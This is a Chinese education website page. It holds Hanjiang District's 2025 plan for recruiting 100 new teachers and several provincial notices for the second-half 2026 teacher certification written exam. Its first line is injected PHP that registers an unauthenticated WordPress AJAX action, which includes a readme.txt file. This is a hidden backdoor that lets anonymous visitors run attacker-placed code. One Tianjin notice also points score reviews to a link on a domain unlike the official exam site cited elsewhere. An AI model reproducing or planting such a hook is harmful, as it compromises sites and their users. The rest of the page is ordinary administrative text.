if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
福建省莆田市涵江区新任教师招聘100名方案-全国教师资格考试网

福建省莆田市涵江区新任教师招聘100名方案

为进一步优化师资队伍结构,提升教师队伍整体水平,根据《福建省教育厅 中共福建省委机构编制委员会办公室 福建省财政厅 福建省人力资源和社会保障厅印发〈关于进一步做好全省中小学幼儿园教师补充工作的若干措施〉的通知》(闽教规〔2022〕3号)和《福建省教育厅 福建省人力资源和社会保障厅关于2025年全省中小学幼儿园教师公开招聘笔试服务工作的通知》(闽教师〔2025〕3号)等文件精神,结合我区学校实际情况,特制定2025年涵江区公开招聘新任教师工作方案如下:

一、招聘对象

面向全国,年龄18周岁以上、35周岁以下(在1989年3月20日至2007年3月19日期间出生)的应往届毕业生。

专门岗位仅限于招聘符合任教条件,且由莆田市兵役机关批准入伍,退役时身份为士兵的报考者。

二、招聘岗位、人数、条件(23个岗位,共100人,具体岗位设置见附件1)

其他条件要求:

1.招聘对象需具有中华人民共和国国籍,拥护中华人民共和国宪法,拥护中国共产党领导和社会主义制度;具有良好的政治素质和道德品行;具有正常履行职责的身体条件和心理素质;具备符合岗位要求的资格条件和工作能力。

2.招聘对象的毕业证书、学位证书、教师资格证书等须在2025年7月31日前取得(2025年应届毕业生的学历、学位证书可延至2025年12月31日)。

3.报考者可以使用本人已获得的学历、学位及其对应的专业进行报考,但是,报考的专业不仅要符合招考岗位的专业要求,该专业对应的学历、学位也要符合招考岗位的学历、学位要求。

4.有以下情形之一的人员不得报名:行政、事业单位在编人员;因犯罪受过刑事处罚的;被开除中国共产党党籍的;被开除公职的;被依法列为失信被执行人或联合惩戒对象的;在各级公务员或事业单位招考中被认定有舞弊等严重违反录(聘)用纪律行为的;公务员或参公人员被辞退未满5年的;现役军人,在读的非应届毕业生;聘用后即构成回避关系的;法律规定不得聘用为事业单位工作人员的。

三、招聘方式

采取笔试与面试相结合的方式进行。我区委托福建省教育考试院提供教师招聘笔试服务,考生参加福建省教育考试院组织的教师招聘笔试。资格初审、复核、面试、体检、考察、聘用等工作由涵江区公开招聘新教师工作领导小组负责,具体招聘工作由区教育局组织实施,区人社局对招聘工作进行指导、监管并办理聘用核准手续,邀请区纪检监察机关对招聘工作实行全过程监督。

四、招聘程序

(一)报名

1.报名时间:2025年3月19日8:00至3月25日17:30。

2.报名方式与收费:网上报名,应聘人员在福建省教育考试院官网(www.eeafj.cn)报名,笔试不向考生收取任何费用。

3.资格初审:由区公开招聘新教师工作领导小组负责组织。

4.注意事项:笔试报名每位应聘者限报考1个岗位(即1个市或县、区,一个学段学科)。报名时,应聘者提交的报考信息应当真实、准确,提供虚假报考信息的,一经查实,即取消报考资格。对伪造、变造有关证件、材料、信息,骗取考试资格以及对注册虚假信息,恶意刷高报考人数,达到减少竞争目的扰乱报名秩序的行为,将按照《事业单位公开招聘违纪违规行为处理规定》予以处理。

(二)笔试

1.笔试对象:经资格初审后,招考岗位的招考人数为1人的,若报考人数的比例不足1︰3的,该岗位不开考;招考岗位的招考人数为2人及以上的,若报考人数的比例不足1︰3的,按1︰3等比例减少招考人数。不开考和减少招考人数的岗位统一对外公布。

2.笔试时间与地点:2025年4月19日,地点以考试机构核发的《准考证》上的通知为准。

3.笔试内容:笔试科目、内容及成绩计算方法等按闽教人〔2010〕7号有关文件执行。笔试分教育综合知识考试和专业知识考试两部分。教育综合知识考试的主要内容为时事政治、师德规范、教育法律法规、教育学和心理学基础知识、新课程理念等;专业知识考试的主要内容为相应学科的专业主干知识和教材教法等,包括新课程理念与教学方式的应用。

4.笔试加分:符合《关于转发<事业单位公开招聘人员暂行规定>的通知》(闽人发〔2006〕10号)、《关于进一步完善参加“三支一扶”计划等服务基层项目高校毕业生有关就业政策的通知》(闽人发〔2009〕221号)等文件中关于笔试加分规定(具体内容见附件4)的考生可提出申请(在笔试百分制中加分),报考专门岗位的退役军人不享受笔试加分政策。拟加分对象须在规定时间内(加分受理时间在莆田市涵江区人民政府网站“教育专栏”上另行公告通知,敬请考生及时关注,逾期不再受理)向区教育局提交由相关部门颁发的证书(证明)原件及复印件各一份,加分考生材料审核认定后,名单将在网站予以公示。

(三)面试

1.面试对象确定:进入面试的报考者,按照每个岗位聘用计划数的3倍,按笔试成绩从高到低依次确定;达不到规定比例的,按实有人数确定面试人选。若同一学科最后一个岗位比例范围内出现笔试成绩并列的,一并确定为面试对象。拟进入面试考生名单将网站公布。

2.资格审核:面试前,区公开招聘新教师工作领导小组负责组织对报考者的资格条件进行书面材料审核,资格条件的确认以此审核为准。进入面试考生在资格审核时放弃或资格不符的,予以该岗按笔试成绩依次递补一次(递补对象放弃或资格不符的面试空缺名额不再递补)。

资格审核主要是核实报考者是否符合招聘岗位规定的报考条件,并通过查验有关证书、文件资料和本人身份证等方式,确认其报名时提交的信息和材料是否真实、准确。面试人选须随带身份证(未办理身份证的提供户籍证明)、毕业证书(应届毕业生可先提供毕业生就业推荐表)、学位证书、教师资格证书(尚未领取教师资格证书的人员,须提供教师资格考试合格证或教师资格笔试科目成绩均合格证明或师范生教师职业能力证书)原件及复印件各一份,持境外学历报考的,或者属于国内院校与国外院校联合办学取得境外毕业证书、学位证书的,应当提供教育部留学服务中心出具的有效证明材料。资格条件的最终确认以此审核为准。在严格复查的前提下,除非考生提供虚假报考信息、骗取报考资格的或从事招聘工作的人员失职渎职,招聘单位及主管部门不再将“专业资格不符”作为面试之后该岗位申请递补的理由。

资格审核事项届时将在莆田市涵江区人民政府网站“教育专栏”上另行通知。资格审核通过者当场发给面试证,考生凭面试证、有效身份证明入闱参加面试。

3.面试时间与地点:另行通知。

4.面试办法:所有岗位采取片段教学的方式进行。在面试指定教材中,设定若干课题,同一岗位考生抽签确认面试顺序后,由第1位面试的考生随机抽取一个课题作为该岗位的面试课题,同一学段同一学科同一课题。

5.面试内容与分值:

现场编写片段教学教案(限时60分钟,教案不评分),进行片段教学(限时10分钟),评委予以评分,片段教学成绩为面试成绩。面试成绩满分100分。

6.使用教材:现行涵江区中小学使用教材(具体见附件2)。

7.计分办法:面试成绩实行百分制,评分采取去掉最高分、最低分各1个,取平均分为最后得分。成绩计算按“四舍五入”保留两位小数。超过1︰1比例进入面试的岗位面试成绩必须达60分以上(含60分),方为合格;按1︰1比例进入面试的(含面试时因其他考生放弃造成1︰1比例的),面试成绩必须达70分以上(含70分),方为合格。若同一学科出现考试总分并列的,以笔试成绩高者位次为先;若笔试成绩也相同,进行加试面试,并以加试成绩高者为先。

报考同一岗位的考生由同一组评委面试,并在当天内完成。因招聘人数较多,当天一个小组不能完成面试须分成两个或两个以上面试小组的岗位,采取加权平均法计分,计算公式为:以同一岗位全部考生的初评成绩平均分(分别去掉2个最高分、2个最低分后的平均分)除以考生所在面试小组的初评成绩平均分(分别去掉2个最高分、2个最低分后的平均分)得出该组的修正系数,考生最后得分(校正成绩)则为考生所在面试小组得分(初评成绩)乘以该组的修正系数;所有成绩计算按“四舍五入”保留两位小数。

(四)体检

1.体检时间:另行通知。

2.体检地点:县级及以上综合性医院。

3.体检对象:根据招考人数按1︰1的比例,在考试合格的人员中,按考试总成绩(按笔试成绩和面试成绩各占50%的比例计算)从高到低确定参加体检对象,面试成绩不合格的,不予确定为体检对象。

4.体检标准和办法:由区公开招聘新教师工作领导小组负责组织。按照福建省教育厅、福建省卫生和计划生育委员会《关于印发福建省教师资格申请人员体检标准及办法(2018年修订)的通知》(闽教师〔2018〕20号)的有关规定执行。考生对体检结果有疑问的,可在得知体检结论的7天内提出复检,允许申请复检一次,并以复检结果为准。女性报考者因怀孕需申请延期体检的,须提供怀孕的医学证明并与区教育局约定延缓体检的期限。

凡在体检中弄虚作假或者隐瞒真实情况的报考者,不予聘用或取消聘用。体检缺席者,取消聘用资格。

(五)考察

1.考察对象:按1︰1比例对考试、体检均合格的报考者组织考察。

2.考察办法:由区公开招聘新教师工作领导小组负责组织(样表见附件3)。

考察包括核实报考者是否符合规定的报考条件,确认其报名时提交的信息和材料是否真实、准确,重点考核应聘人员的思想政治表现、专业是否对应、业务能力、工作实绩以及是否需要回避等方面的情况。考察对象被法院列为失信被执行人或被国家有关部门列为失信被惩戒对象的,取消聘用资格。

对报考人员资格审核贯穿招聘全程,一经发现报考人员不符合招聘公告规定或不符合招聘岗位资格条件或提供虚假信息,立即取消考试或聘用资格,已聘用的,解除聘用合同关系。

(六)聘用

拟聘用人员由区公开招聘新教师工作领导小组按规定的程序和标准从考试成绩、考察情况和体检结果均合格的人员中集体研究确定,并在网站上公示7个工作日。公示内容包括拟聘用人员姓名、性别、准考证号、所在工作单位或毕业院校,同时公布监督电话,接受社会监督。

经公示不影响聘用的,组织人事部门予以核准,并按有关规定签订聘用合同。

入聘签约时,入聘对象须持本人身份证、毕业证书、学位证书、教师资格证书原件及复印件各一份,无法提供者,取消其入聘资格。入聘对象按考试总分位次从高到低依次选择学校。不按时参加签约的,视同放弃资格。入聘签约时间另行通知。

(七)递补

进入体检、考察的人员因体检、考察缺席或不合格而造成招考职位空缺的,原则上区公开招聘新教师工作领导小组应从报考该岗位进入面试的人员中按照考试总成绩从高到低确定递补人选。

五、其他事项

1.新招聘教师实行最低3年服务年限制度。

2.本次考试不指定考试辅导用书,不举办也不委托任何机构和组织举办考试辅导培训班。社会上凡称与本次考试相关的复习教材、培训班、网站、上网卡、试题等,误导报考人员的,均与区公开招聘新教师工作领导小组无关。郑重提醒广大报考者要诚信考试,提高警惕,切勿上当受骗。

3.公开招聘相关事宜均在莆田市涵江区人民政府网站“教育专栏”(http://www.pthj.gov.cn/ztzl/jyzl)上公布,不再另行通知,敬请关注。本方案未尽事宜由区公开招聘新教师工作领导小组负责解释。联系电话:0594-6709212。

 

附件:1.2025年莆田市涵江区公开招聘新任教师岗位设置一览表

2.2025年莆田市涵江区公开招聘新任教师面试使用教材范围

3.2025年莆田市涵江区公开招聘新任教师聘用考察表

4.笔试加分文件:

①《关于转发<事业单位公开招聘人员暂行规定>的通知》

(闽人发〔2006〕10号)

②《关于进一步完善参加“三支一扶”计划等服务基层项目

高校毕业生有关就业政策的通知》(闽人发〔2009〕221号)

 

 

涵江区公开招聘新教师工作领导小组

2025年3月3日

2025年莆田市涵江区公开招聘新任教师方案及附件下载.doc

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部